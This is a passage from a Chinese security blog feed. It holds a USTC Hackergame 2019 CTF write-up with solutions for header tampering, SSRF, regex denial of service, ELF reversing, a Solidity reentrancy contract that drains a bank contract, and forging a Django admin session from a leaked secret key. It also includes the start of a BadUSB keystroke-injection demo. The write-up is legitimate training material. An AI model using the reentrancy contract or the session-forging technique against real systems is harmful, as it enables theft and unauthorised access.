<span class="n">random</span><span class="p">.</span><span class="n">seed</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">random</span><span class="p">.</span><span class="n">sample</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mi">300</span><span class="p">),</span><span class="mi">5</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这是计算密集型,可以多进程,但是我是丢到服务器上跑的,只有一个CPU :) 所以就单进程吧</p>
<h1 id="result">result</h1>
<p>秒速爆破出来可以生成包含1,2,3位指定数字的种子</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre># trafbpcszonjeil hpscybwevjuzlkr 生成 1,2,3
</pre></td></tr></tbody></table></code></pre></div></div>
<p>三十分钟跑到了可以生成包含四位指定随机数的种子 <code class="language-plaintext highlighter-rouge">[1,2,3,4]</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre>In [1]: seed = 'aaaaaaaaaaeNWk4'
In [2]: import random
In [3]: random.seed(seed)
In [4]: random.sample(range(1,300),5)
Out[4]: [1, 59, 3, 2, 4]
</pre></td></tr></tbody></table></code></pre></div></div>
Wed, 13 Nov 2019 01:43:10 +0000
https://iansmith123.github.io/2019/11/13/python-random/
https://iansmith123.github.io/2019/11/13/python-random/
websecurity
python
-
ustc hackgame 2019 writeup
<h1 id="序">序</h1>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>当前分数:2350, 总排名:80 / 1904
binary:150 , general:850 , math:600 , web:750
</pre></td></tr></tbody></table></code></pre></div></div>
<p>菜是原罪,改变不了的事实 :(</p>
<p><img src="http://static.scuseek.com/20191022151143.png" alt="" /></p>
<p><img src="http://static.scuseek.com/20191022150931.png" alt="" /></p>
<h1 id="签到">签到</h1>
<p>复制本人token,过去粘贴然后提交</p>
<h1 id="信息安全2077">信息安全2077</h1>
<p>看了下是<code class="language-plaintext highlighter-rouge">If-Unmodified-Since</code>头,改一下就行</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>curl 202.38.93.241:2077/flag.txt -H "User-agent=Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36" -H "If-Unmodified-Since: Tue, 15 Oct 2077 05:47:08 GMT" -d " "
flag{Welc0me_to_competit1on_in_2077}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="happy-lug">happy lug</h1>
<p>dns txt记录
一般ctf里面这种都是查txt记录</p>
<p><del>毕竟我也在我的域名txt里面放过flag (Doge</del></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>https://mxtoolbox.com/SuperTool.aspx?action=txt%3a%F0%9F%98%82.hack.ustclug.org&run=toolpage#
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>flag{DN5_C4N_H4VE_em0ji_haha}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="宇宙终极问题">宇宙终极问题</h1>
<h2 id="42">42</h2>
<p>搜一下就有了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="rouge-code"><pre>$ nc 202.38.93.241 10017
Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98
the answer
toli fetheuniv
ersea nde ver
ything the ans
wer tol ife the
uni ver sean
dev ery thin
gth ean swer
tolifetheuni ver
seandeveryth ing
the ans wer
tol ifetheuniver
sea ndeverything
Do you know The Answer to the Ultimate Question of Life, The Universe, and Everything?
Give me 3 integers, x, y, and z, such that
x^3 + y^3 + z^3 = 42
x = -80538738812075974
y = 80435758145817515
z = 12602123297335631
(-80538738812075974) ^ 3 + (80435758145817515) ^ 3 + (12602123297335631) ^ 3 = 42
flag{W0W_you_kn0w_the_Answer_t0_l1f3_Un1v3r5e_&_Everyth1ng_a51ec7fd69}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="正则验证器">正则验证器</h1>
<p>看题目直接猜是正则回溯陷阱</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>$ nc 202.38.93.241 10006
Please input your token: 959:MEYCIQC5ir9sscKL0EsFJknDHKTInhAAka2kE67Ja/uuZRTiFAIhAKye8eFiVjnADQenC4nihInpkAKSsGTWnmIjfvSR9K98
Welcome to the free online Regular Expression Verifier
Please enter your RegEx and string and I will match them for you
RegEx: (a*)*b
String: aaaaaaaaaaaaaaaaaaaaaaas
flag{R3g3x_can_D0S_f01fd1fa56}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="ssrf">ssrf</h1>
<p>看源代码,审计</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>http://202.38.93.241:10020/request?url=http://web1/[email protected]
</pre></td></tr></tbody></table></code></pre></div></div>
<p>脑子不够用</p>
<h1 id="我想有个家">我想有个家</h1>
<p>下载二进制文件,运行一下</p>
<p>看样子是要chroot,那就先创建他需要的东西吧</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>mkdir hhhh
cd hhhh
mkdir Bedroom Kitchen Lavatory Living_room
touch Bedroom/Micrrophone
cd Bedroom
ln -s Microphone Headset
</pre></td></tr></tbody></table></code></pre></div></div>
<p>然后写个脚本定期修改文件的时间</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>In [11]: while True:
...: time.sleep(0.1)
...: with open('Living_Room/Clock', 'w') as f:
...: f.write(datetime.now().strftime('%H:%M:%S'))
...:
</pre></td></tr></tbody></table></code></pre></div></div>
<p>因为没有动态库了,系统的sleep不能用了</p>
<p>busybox也有sleep,但是需要/dev/null,懒得去搞,直接用go写一个sleep静态编译丢进去</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>package main
import (
"fmt"
"time"
)
func main() {
fmt.Println("sleep now ")
time.Sleep(time.Duration(10)*time.Second)
fmt.Println("sleep")
}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>交叉编译</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>set GOOS=linux
set GOARCH=amd64
go build main.go
</pre></td></tr></tbody></table></code></pre></div></div>
<p>然后执行</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>chroot . ./IWantHome
</pre></td></tr></tbody></table></code></pre></div></div>
<p>需要sleep的时候执行main就行了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>$ chroot . ./IWantAHome-linux
I just want a home. Please do what I say and I will give you a flag
Make sure I am running on Linux(Unix).
I want these directories in / : [/Kitchen /Lavatory /Bedroom /Living_Room]
Thanks, I find these directories.
I hate these directories [/home /root /boot /proc /sys /etc /bin] , Please delete them all!
Well done.
Now I want a telephone in Bedroom
I will write something to /Bedroom/Microphone and read the same thing in /Bedroom/Headset
Good, telephone works well.
Time is important, I need a clock in living_room
I will read Beijing time (eg: '20:15:30') in /Living_Room/Clock
Good, the clock works well.
It is late, tell me how to sleep 10 seconds in shell
> ./main
command is:'./main'
I slept for 10.004741985s
flag{I_am_happy_now}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="小巧玲珑的elf">小巧玲珑的ELF</h1>
<p>丢进IDA看一下,F5出来有负数,结合着汇编看吧 ida的f5仅供参考</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
</pre></td><td class="rouge-code"><pre>push rbp
mov rbp, rsp
sub rsp, 70h
mov [rbp+var_70], 66h
mov [rbp+var_6F], 6Eh
mov [rbp+var_6E], 65h
mov [rbp+var_6D], 6Bh
mov [rbp+var_6C], 83h
mov [rbp+var_6B], 4Eh
mov [rbp+var_6A], 6Dh
mov [rbp+var_69], 74h
mov [rbp+var_68], 85h
mov [rbp+var_67], 7Ah
mov [rbp+var_66], 6Fh
mov [rbp+var_65], 57h
mov [rbp+var_64], 91h
mov [rbp+var_63], 73h
mov [rbp+var_62], 90h
mov [rbp+var_61], 4Fh
mov [rbp+var_60], 8Dh
mov [rbp+var_5F], 7Fh
mov [rbp+var_5E], 63h
mov [rbp+var_5D], 36h
mov [rbp+var_5C], 6Ch
mov [rbp+var_5B], 6Eh
mov [rbp+var_5A], 87h
mov [rbp+var_59], 69h
mov [rbp+var_58], 163
mov [rbp+var_57], 6Fh
mov [rbp+var_56], 58h
mov [rbp+var_55], 73h
mov [rbp+var_54], 66h
mov [rbp+var_53], 56h
mov [rbp+var_52], 93h
mov [rbp+var_51], 9Fh
mov [rbp+var_50], 69h
mov [rbp+var_4F], 70h
mov [rbp+var_4E], 38h
mov [rbp+var_4D], 76h
mov [rbp+var_4C], 71h
mov [rbp+var_4B], 78h
mov [rbp+var_4A], 6Fh
mov [rbp+var_49], 63h
mov [rbp+var_48], 0C4h
mov [rbp+var_47], 82h
mov [rbp+var_46], 84h
mov [rbp+var_45], 0BEh
mov [rbp+var_44], 0BBh
mov [rbp+var_43], 0CDh
</pre></td></tr></tbody></table></code></pre></div></div>
<p>ida打开,F5</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>for ( i = 0; i <= 45; ++i )
{
buf[i] += 2 * i;
buf[i] ^= i;
buf[i] -= i;
}
for ( j = 0; j <= 45; ++j )
{
if ( buf[j] != *(&v0 + j) )
__asm { syscall; LINUX - sys_exit }
}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>梳理下逻辑,根据输入的字符串做一些变换,如果变换之后的结果等于他预定义的字符串,那么输出correct</p>
<p>两种方式去验证,可以爆破flag或者根据验证的内容倒推</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>flag = [None for i in range(46)]
l = [0x66,0x6E,0x65,0x6B,0x83,0x4E,0x6D,0x74,0x85,0x7A,0x6F,0x57,0x91,0x73,0x90,0x4F,0x8D,0x7F,0x63,0x36,0x6C,0x6E,0x87,0x69,0x0a3,0x6F,0x58,
0x73,0x66,0x56,0x93,0x9F,0x69,0x70,0x38,0x76,0x71,0x78,0x6F,0x63,0x0C4,0x82,0x84,0x0BE,0x0BB,0x0CD,]
for i, c in enumerate(l):
flag[i] = c+i
flag[i] = flag[i]^i
flag[i] = flag[i]-2*i
# print(i,c,flag[i])
# print(flag)
"".join([chr(abs(i)) for i in flag if not None])
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'
</pre></td></tr></tbody></table></code></pre></div></div>
<p>看其他官方的writeup,可以直接符号执行</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>import angr
proj = angr.Project("tinyELF")
simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"correct" in s.posix.dumps(1))
print(simgr.found[0].posix.dumps(0))
</pre></td></tr></tbody></table></code></pre></div></div>
<p>执行</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre># root @ Beijing-debian in ~/lug [14:26:47]
$ python3 elf.py
b'flag{Linux_Syst3m_C4ll_is_4_f4scin4ting_t00ls}'
</pre></td></tr></tbody></table></code></pre></div></div>
<p>试了下,几秒钟出结果,符号执行nb</p>
<h1 id="韭菜">韭菜</h1>
<p>全靠丁大佬carry,真的nb</p>
<p>题目给出了智能合约的算法</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
</pre></td><td class="rouge-code"><pre>pragma solidity ^0.4.26;
contract JCBank {
mapping (address => uint) public balance;
mapping (uint => bool) public got_flag;
uint128 secret;
constructor (uint128 init_secret) public {
secret = init_secret;
}
function deposit() public payable {
balance[msg.sender] += msg.value;
}
function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)();
balance[msg.sender] -= amount;
}
function get_flag_1(uint128 guess) public view returns(string) {
require(guess == secret);
bytes memory h = new bytes(32);
for (uint i = 0; i < 32; i++) {
uint b = (secret >> (4 * i)) & 0xF;
if (b < 10) {
h[31 - i] = byte(b + 48);
} else {
h[31 - i] = byte(b + 87);
}
}
return string(abi.encodePacked("flag{", h, "}"));
}
function get_flag_2(uint user_id) public {
require(balance[msg.sender] > 1000000000000 ether);
got_flag[user_id] = true;
balance[msg.sender] = 0;
}
}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>手写一遍算法
去查看智能合约</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>https://kovan.etherscan.io/address/0xe575c9abd35fa94f1949f7d559056bb66fddeb51#code
</pre></td></tr></tbody></table></code></pre></div></div>
<p>点contract</p>
<p>下面有一个Arg[0] 这个就是源代码里面的secret</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac
</pre></td></tr></tbody></table></code></pre></div></div>
<p>把这个放到flag的生成逻辑里面去</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>secret = 0x000000000000000000000000000000000175bddc0da1bd47369c47861f48c8ac
h = [None]*32
for i in range(32):
b = (secret>>(4*i))&0xf
h[31-i] = b+48 if b<10 else b+87
print("flag:", "".join([chr(i) for i in h]))
</pre></td></tr></tbody></table></code></pre></div></div>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>flag: 0175bddc0da1bd47369c47861f48c8ac
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="达拉崩吧大冒险">达拉崩吧大冒险</h1>
<p>去料理市场买东西的时候,可以输入负数,可以猜测这里没有做处理</p>
<p>可以试试造成溢出</p>
<p>尝试了 <code class="language-plaintext highlighter-rouge">-2**60</code> 次方可以正常购买, <code class="language-plaintext highlighter-rouge">-2**61</code> 次方则会造成异常</p>
<p>于是修改购买的数量为<code class="language-plaintext highlighter-rouge">-2305843009213693952</code>,搞定</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>Name:
达拉崩吧斑得贝迪卜多比鲁翁
Money:
4611686018427388000
Attack:
6917529027641082000
</pre></td></tr></tbody></table></code></pre></div></div>
<p>然后点攻打恶龙,打败之后点要flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
</pre></td><td class="rouge-code"><pre>旁白:
进入同步!
蒙达鲁克硫斯伯古比奇巴勒城门卫:
站住!进门收钱!一人50元,童叟无欺!不进的走开,要进的速速报上姓名!
我:
我是达拉崩吧斑得贝迪卜多比鲁翁,我从千里之外,前来帮助国王救回公主。
国王:
愁啊,愁啊!爱女米娅莫拉苏娜丹妮谢莉红竟被那恶龙带走了。
国王:
若是有哪位勇士能够打败恶龙,大大滴有赏赐
我:
我达拉崩吧斑得贝迪卜多比鲁翁,愿意跨过山与大海,去会会那恶龙昆图库塔卡提考特苏瓦西拉松。
国王:
好!!若你成功救得公主,我赐你黄金万两。
旁白:
接下来,你想去哪里呢?
我:
料理大市场
隔壁王大妈:
走过路过不要错过,这里有鲜美香脆可口甘甜现炸童子鸡,有效提升攻击力,现在只要两元钱,两块钱,你买不了吃亏,买不了上当。这位客官,你要来几只啊?
旁白:
你感觉自己浑身充满了干劲
旁白:
接下来,你想去哪里呢?
我:
去恶龙洞穴
巨龙昆图库塔卡提考特苏瓦西拉松:
我是恶龙昆图库塔卡提考特苏瓦西拉松
我:
你是昆图库塔卡提考特苏瓦西拉松?
巨龙昆图库塔卡提考特苏瓦西拉松:
我是恶龙昆图库塔卡提考特苏瓦西拉松!我的攻击力可是64403333,看招
旁白:
砰砰砰!叭叭叭!恭喜你,战胜了巨龙昆图库塔卡提考特苏瓦西拉松!
国王:
啊!我的勇士达拉崩吧斑得贝迪卜多比鲁翁,你救了我的公主米娅莫拉苏娜丹妮谢莉红!你想要什么奖励?
我:
flag
国王:
好!成全你!
系统:
flag{what_an_amazing_dream}
旁白:
失去同步!
</pre></td></tr></tbody></table></code></pre></div></div>
<p>题目的剧情是真的有意思 233333</p>
<h1 id="韭菜第二题">韭菜第二题</h1>
<p>再说一遍,丁大佬nb</p>
<p>The Dao攻击</p>
<p>去<code class="language-plaintext highlighter-rouge">https://remix.ethereum.org/#optimize=false&evmVersion=null&version=soljson-v0.4.26+commit.4563c3fc.js</code>写代码,新建一个<code class="language-plaintext highlighter-rouge">MyContract</code>,然后点击指定版本的智能合约进行编译</p>
<p>填写JCbank的合约地址,然后部署</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
</pre></td><td class="rouge-code"><pre>pragma solidity ^0.4.26;
contract JCBank {
mapping (address => F) public balance;
mapping (uint => bool) public got_flag;
uint128 secret;
constructor (uint128 init_secret) public {
secret = init_secret;
}
function deposit() public payable {
balance[msg.sender] += msg.value;
}
function withdraw(uint amount) public {
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount)();
balance[msg.sender] -= amount;
}
function get_flag_1(uint128 guess) public view returns(string) {
require(guess == secret);
bytes memory h = new bytes(32);
for (uint i = 0; i < 32; i++) {
uint b = (secret >> (4 * i)) & 0xF;
if (b < 10) {
h[31 - i] = byte(b + 48);
} else {
h[31 - i] = byte(b + 87);
}
}
return string(abi.encodePacked("flag{", h, "}"));
}
function get_flag_2(uint user_id) public {
require(balance[msg.sender] > 1000000000000 ether);
got_flag[user_id] = true;
balance[msg.sender] = 0;
}
}
contract MyContract {
JCBank c;
address owner;
uint public number;
function MyContract(address _c) public payable {
c = JCBank(_c);
owner = msg.sender;
c.deposit.value(msg.value)();
}
function() public payable {
number++;
uint weHave=0.1 ether;
c.withdraw(weHave);
}
function attack() public {
c.withdraw(0);
}
function getmoney() public {
owner.transfer(this.balance);
}
function end() public {
uint x = 1076008070892;
c.get_flag_2(x);
}
}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>先转账,然后攻击
稍等一会儿运行end</p>
<h1 id="泄露的姜戈">泄露的姜戈</h1>
<p>github把代码下载下来,改一下<code class="language-plaintext highlighter-rouge">views.py</code>里面的代码,让他返回admin登录时候的cookie,然后用这个cookie登录题目就行了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="rouge-code"><pre>from django.contrib.auth.models import User
def index(request):
if request.method == "GET":
if request.user.is_authenticated:
return redirect(reverse("profile"))
return render(request, 'app/index.html', {
# "name": "admin"
"name": name
})
elif request.method == "POST":
username = request.POST["username"]
password = request.POST["password"]
user = authenticate(request, username=username, password=password)
if user is not None:
# login(request, user)
u = User.objects.get(username='admin') # 添加这行和下一行
login(request, u)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>其中修改的是</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre> u = User.objects.get(username='admin') # 添加这行和下一行
login(request, u)
</pre></td></tr></tbody></table></code></pre></div></div>
<p>这两行会在用户使用guest登录的时候仍然返回admin的信息,因为这个cookie信息是经过secert_key签名了的,所以在题目服务器里面也可以用</p>
<p>复制这个cookie到题目里面,重下新请求一下就给flag了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>flag{Never_leak_your_sEcReT_KEY}
</pre></td></tr></tbody></table></code></pre></div></div>
<p>最初以为是泄露secert_key导致RCE,但是试了之后发现不行 然后尝试构造cookie,分析django源码里面cookie的逻辑 稍微有点麻烦懒得去看,试了试本地直接让程序使用admin登录,然后把cookie放到线上题目里面,访问得flag</p>
<h1 id="三教奇妙夜">三教奇妙夜</h1>
<p>拆开视频成图片</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ffmpeg -i output.mp4 frame_%09d.jpg
</pre></td></tr></tbody></table></code></pre></div></div>
<p>文件比较多 观察了一下无用图片的大小都在<code class="language-plaintext highlighter-rouge">5000B</code>左右,含有<code class="language-plaintext highlighter-rouge">flag</code>的页面大小不同,于是可以边写边删</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</pre></td><td class="rouge-code"><pre>In [36]: def delete():
...: count = 0
...: for i in os.listdir('night'):
...: count += 1
...: if 4969<os.path.getsize('night/'+i)<5100:
...: os.remove('night/'+i)
...:
In [36]: for i in range(1000000):
...: delete()
...: time.sleep(10)
...: print("again", i)
...:
...:
</pre></td></tr></tbody></table></code></pre></div></div>
<p>打开就看到flag了</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>flag{ViDe0_prOcE55_with_program_1s_eaSy}
</pre></td></tr></tbody></table></code></pre></div></div>
<h1 id="附录">附录</h1>
<p>官方writeup
https://github.com/ustclug/hackergame2019-writeups</p>
Tue, 22 Oct 2019 06:57:51 +0000
https://iansmith123.github.io/2019/10/22/ustc-hackgame-2019/
https://iansmith123.github.io/2019/10/22/ustc-hackgame-2019/
websecurity
writeup
ctf
-
badusb试玩
<h1 id="序">序</h1>
<p>板子用的beetle usb atmega32u4</p>
<p>自带usb接口,比较便宜,以前看过多款badusb的板子,但是都因为比较贵而放弃,直到前两天hx说了这个板子也可以,于是果断下单。</p>
<p><img src="http://static.scuseek.com/20190806-204731.png" alt="" /></p>
<p>板子类型选择arduino leonardo,编译上传即可
<img src="http://static.scuseek.com/20190806-204939.png" alt="" /></p>
<h1 id="上手试玩">上手试玩</h1>
<p>代码很简单,一看就懂。</p>
<h2 id="windows弹计算器">windows弹计算器</h2>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf"><Keyboard.h></span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">setup</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your setup code here, to run once:</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">2000</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="sc">'r'</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_LEFT_GUI</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="sc">'r'</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">println</span><span class="p">(</span><span class="s">"calc"</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">Keyboard</span><span class="p">.</span><span class="n">release</span><span class="p">(</span><span class="n">KEY_RETURN</span><span class="p">);</span>
<span class="n">delay</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">loop</span><span class="p">()</span> <span class="p">{</span>
<span class="c1">// put your main code here, to run repeatedly:</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<h2 id="ubuntu-开终端">ubuntu 开终端</h2>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
